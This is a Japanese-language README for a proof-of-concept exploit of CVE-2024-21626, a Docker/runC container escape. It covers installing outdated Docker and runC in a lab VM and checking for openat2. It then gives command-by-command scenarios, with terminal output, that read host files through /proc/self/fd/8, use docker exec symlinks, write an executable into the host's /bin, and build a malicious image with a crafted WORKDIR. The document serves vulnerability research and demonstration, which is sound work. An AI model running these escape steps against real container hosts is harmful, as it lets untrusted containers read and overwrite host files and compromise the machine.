
CVE-2024-21626の概念実証エクスプロイト。Docker/runCコンテナエスケープの脆弱性。作業ディレクトリ操作によるホストファイルシステムアクセスを実証し、複数の攻撃シナリオと検証スクリプトを含む。
詳細な説明はこちらの私の記事をお読みください。
CVE-2024–21626 を調査している際、Docker と runC の古いバージョンに見落とされた脆弱性を発見しました。詳細については、次の記事をお読みください:「Exploring Hidden Vulnerabilities in Legacy Docker Versions: Lessons from CVE-2024–21626」
インストール中は、アップデートシステムをダウンロードするチェックボックスをオンにしないでください。
Guest Additions CD イメージを挿入する
マウントされた CD イメージ内でターミナルを開く
VBoxLinuxAdditions.run スクリプトを実行する
demo@demo-pc:/media/demo/VBox_GAs_7.0.14$ sudo ./VBoxLinuxAdditions.run
Docker の apt リポジトリを設定する
# set up Docker's apt repository: add Docker's official GPG key:
sudo apt update
sudo apt install ca-certificates curl
sudo install -m 0755 -d /etc/apt/keyrings
sudo curl -fsSL https://download.docker.com/linux/ubuntu/gpg -o /etc/apt/keyrings/docker.asc
sudo chmod a+r /etc/apt/keyrings/docker.asc
# add the repository to Apt sources:
echo \
"deb [arch=$(dpkg --print-architecture) signed-by=/etc/apt/keyrings/docker.asc] https://download.docker.com/linux/ubuntu \
$(. /etc/os-release && echo "$VERSION_CODENAME") stable" | \
sudo tee /etc/apt/sources.list.d/docker.list > /dev/null
sudo apt update
各コンポーネント (docker-ce, docker-ce-cli, containerd.io, docker-buildx-plugin) の適切なバージョンを見つけてインストールする。
# search in the cache reposiroty the docker-ce available packages
apt-cache madison docker-ce | awk '{ print $3 }'
# setup the chosen version
VERSION_STRING=5:24.0.6-1~ubuntu.22.04~jammy
# search in the cache reposiroty the containerd.io and docker-buildx-plugin available packages
apt-cache madison containerd.io | awk '{ print $3 }'
apt-cache madison docker-buildx-plugin | awk '{ print $3 }'docker-buildx-plugin
# install the packages
sudo apt install docker-ce=$VERSION_STRING \
docker-ce-cli=$VERSION_STRING \
containerd.io=1.6.4-1 \
docker-buildx-plugin=0.10.2-1~ubuntu.22.04~jammy
パッケージが古すぎて見つからない場合(オンラインの古いリポジトリも参照)、または Docker Engine をインストールするために Docker の apt リポジトリを使用できない場合は、リリース用の deb ファイルをダウンロードして手動でインストールできます。 https://download.docker.com/linux/ubuntu/dists/ にアクセスするか、私の GitHub リポジトリ内の deb ファイルを使用してインストールしてください。
# clone CVE-2024-21626 repository
git clone [email protected]:Sk3pper/CVE-2024-21626.git
# install deb files
cd CVE-2024-21626/deb
sudo dpkg -i ./containerd.io_1.6.4-1_amd64.deb \
./docker-ce_24.0.6-1~ubuntu.22.04~jammy_amd64.deb \
./docker-ce-cli_24.0.6-1~ubuntu.22.04~jammy_amd64.deb \
./docker-buildx-plugin_0.10.2-1~ubuntu.22.04~jammy_amd64.deb
sudo docker version
runc --version
containerd --version
uname -r
この脆弱性が正しく動作するには、openat2 システムコールが必要です。次のコマンドで手動確認を行います:
grep openat2 /proc/kallsyms
openat2 システムコールが存在するかどうかを、私の GitHub リポジトリにある次の golang スクリプトで確認する必要がある場合もあります。
# clone CVE-2024-21626 repository
git clone [email protected]:Sk3pper/CVE-2024-21626.git
# run testOpenat2
cd testOpenat2
./testOpenat2
The unix.Openat2 syscall is present on this system.
見つかったバイナリは以下のフラグでビルドされました。
env GOOS=linux GOARCH=amd64 go build testOpenat2.go
checkVulnerability.sh を実行し、ファイルがターミナルに出力されるか確認します。
# clone CVE-2024-21626 repository
git clone [email protected]:Sk3pper/CVE-2024-21626.git
# run checkVulnerability.sh
chmod +x checkVulnerability.sh
./checkVulnerability.sh
ワーキングディレクトリを /proc/self/fd/ に設定してのエクスプロイト
# run container with working directory to /proc/self/fd/8
sudo docker run -w /proc/self/fd/8 --name cve-2024-21626 --rm -it debian:bookworm
# read host filesystem files inside the container
root@c4c0a9c99be6:.# cat ../../../../../../../../../../../etc/hostname
job-working-directory: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory
demo-pc

docker exec によるエクスプロイト:
1 つのターミナルを開き、次のコマンドを実行します。
# terminal 1
# run container
demo@demo-pc:~$ sudo docker run --name cve-2024-21626 --rm -it debian:bookworm
# create symlinks
root@d98de5a852d7:/# ln -sf /proc/self/fd/8/ /foo
root@d98de5a852d7:/# ln -sf /proc/self/fd/8/ /bar
別のターミナルを開き、次のコマンドを実行します。
# terminal 2: exec inside the container and set working directory
sudo docker exec -it -w /bar cve-2024-21626 sleep 120
最初のターミナルに戻り、ホストパスのファイルシステムにアクセスします。
# terminal 1: find actula pid with the right cmdline
root@d98de5a852d7:/# ls -f /proc
. irq kmsg kcore mdstat cpuinfo sysvipc softirqs bootconfig execdomains sysrq-trigger 15
.. net misc locks mounts devices version zoneinfo interrupts filesystems version_signature
fb sys mtrr swaps uptime ioports consoles buddyinfo kpagecount kpagecgroup self
fs tty scsi asound vmstat loadavg kallsyms diskstats kpageflags vmallocinfo thread-self
bus acpi stat crypto cgroups meminfo pressure key-users partitions pagetypeinfo 1
dma keys iomem driver cmdline modules slabinfo schedstat timer_list dynamic_debug 9
root@d98de5a852d7:/# cat /proc/9/cmdline
sleep120
# read host filesystem files
root@d98de5a852d7:/# cat /proc/9/cwd/../../../../../../../../../etc/hostname
demo-pc
# read container filesystem files
root@d98de5a852d7:/# cat /etc/hostname
d98de5a852d7

# Attack 3a is attack 1 but adapted to overwrite a host binary
# run container with the working direcotry to /proc/self/fd/8
sudo docker run -w /proc/self/fd/8 --name cve-2024-21626 --rm -it debian:bookworm
shell-init: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory
root@e5b0730af51d:.#
# write file in the host container
root@b6873018a7e8:.# cat > ../../../../../../../../bin/cve2024_21626 << EOF
#!/bin/bash
echo "Hello CVE-2024-21626"
EOF
# change chmod
root@b6873018a7e8:.# ../../../../../bin/chmod +x ../../../../bin/cve2024_21626
job-working-directory: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory
# check if the file is present in the host
demo@demo-pc:/bin$ ls -la | grep cve
-rwxr-xr-x 1 root root 40 mar 7 13:24 cve2024_21626
# try it in the host
demo@demo-pc:/bin$ sudo ./cve2024_21626
Hello CVE-2024-21626

# scenario 3b: host binary overwrite attack
# Attack 3b is attack 2 but adapted to overwrite a host binary
# terminal 1
# run container
sudo docker run --name cve-2024-21626 --rm -it debian:bookworm
# create symlinks
root@d98de5a852d7:/# ln -sf /proc/self/fd/8/ /foo
root@d98de5a852d7:/# ln -sf /proc/self/fd/8/ /bar
# terminal 2: exec inside the container and set working directory
sudo docker exec -it -w /bar cve-2024-21626 sleep 1000
# terminal 1
# find actula pid with the right cmdline
root@d98de5a852d7:/# ls -f /proc
. irq kmsg kcore mdstat cpuinfo sysvipc softirqs bootconfig execdomains sysrq-trigger 15
.. net misc locks mounts devices version zoneinfo interrupts filesystems version_signature
fb sys mtrr swaps uptime ioports consoles buddyinfo kpagecount kpagecgroup self
fs tty scsi asound vmstat loadavg kallsyms diskstats kpageflags vmallocinfo thread-self
bus acpi stat crypto cgroups meminfo pressure key-users partitions pagetypeinfo 1
dma keys iomem driver cmdline modules slabinfo schedstat timer_list dynamic_debug 9
root@d98de5a852d7:/# cat /proc/9/cmdline
sleep120
# write file in the host container
root@b6873018a7e8:.# cat > /proc/8/cwd/../../../../bin/cve2024_21626 << EOF
#!/bin/bash
echo "Hello CVE-2024-21626"
EOF
# change chmod
root@b6873018a7e8:.# /proc/8/cwd/../../../../bin/chmod +x \
/proc/8/cwd/../../../../bin/cve2024_21626
job-working-directory: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory
# check if the file is present in the host
demo@demo-pc:/bin$ ls -la | grep cve
-rwxr-xr-x 1 root root 40 mar 7 13:39 cve2024_21626
# try it in the host
demo@demo-pc:/bin$ sudo ./cve2024_21626
Hello CVE-2024-21626
次の Dockerfile を例とします
FROM ubuntu:20.04
RUN apt-get update -y && apt-get install netcat -y
WORKDIR /proc/self/fd/8
イメージをビルドして実行する
sudo docker build . -t devil-image
sudo docker run -it --rm devil-image bash
shell-init: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory
root@415a2e1f079f:.# cat ../../../../../etc/hostname
job-working-directory: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory
demo-pc
